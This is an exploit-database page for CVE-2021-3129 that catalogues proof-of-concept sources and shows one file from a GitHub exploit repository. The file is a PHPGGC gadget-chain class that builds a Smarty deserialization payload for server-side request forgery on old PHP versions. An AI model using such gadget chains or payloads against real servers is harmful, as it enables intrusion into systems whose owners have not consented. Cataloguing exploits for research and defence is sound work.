Exploit database

GH-cead96c10f3b6e0b9fd794c85b3731e0

zhzyker/cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
zhzyker/cve-2021-3129Revision 0fb9c6816a6d

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gadgetchains/Smarty/SSRF/1/chain.php

PHP · 731 bytes
<?php
namespace GadgetChain\Smarty;

class SSRF1 extends \PHPGGC\GadgetChain\SSRF
{
    public static $version = '?';
    public static $vector = '__destruct';
    public static $foundby = 'unknown';
    public static $author = 'mr_me';
    public static $information = '
    Reference: https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Positive-Research-2014-eng.pdf (2014).
    This was originally an XXE gadget chain, but it does not work on recent PHP versions.
    Therefore, the gadget chain is now just an SSRF.
    According to raz0r, it "works only in PHP <5.4.12/5.3.22".
    ';

    public function generate(array $parameters)
    {
        return new \Smarty_Internal_Template($parameters['uri']);
    }
}
?>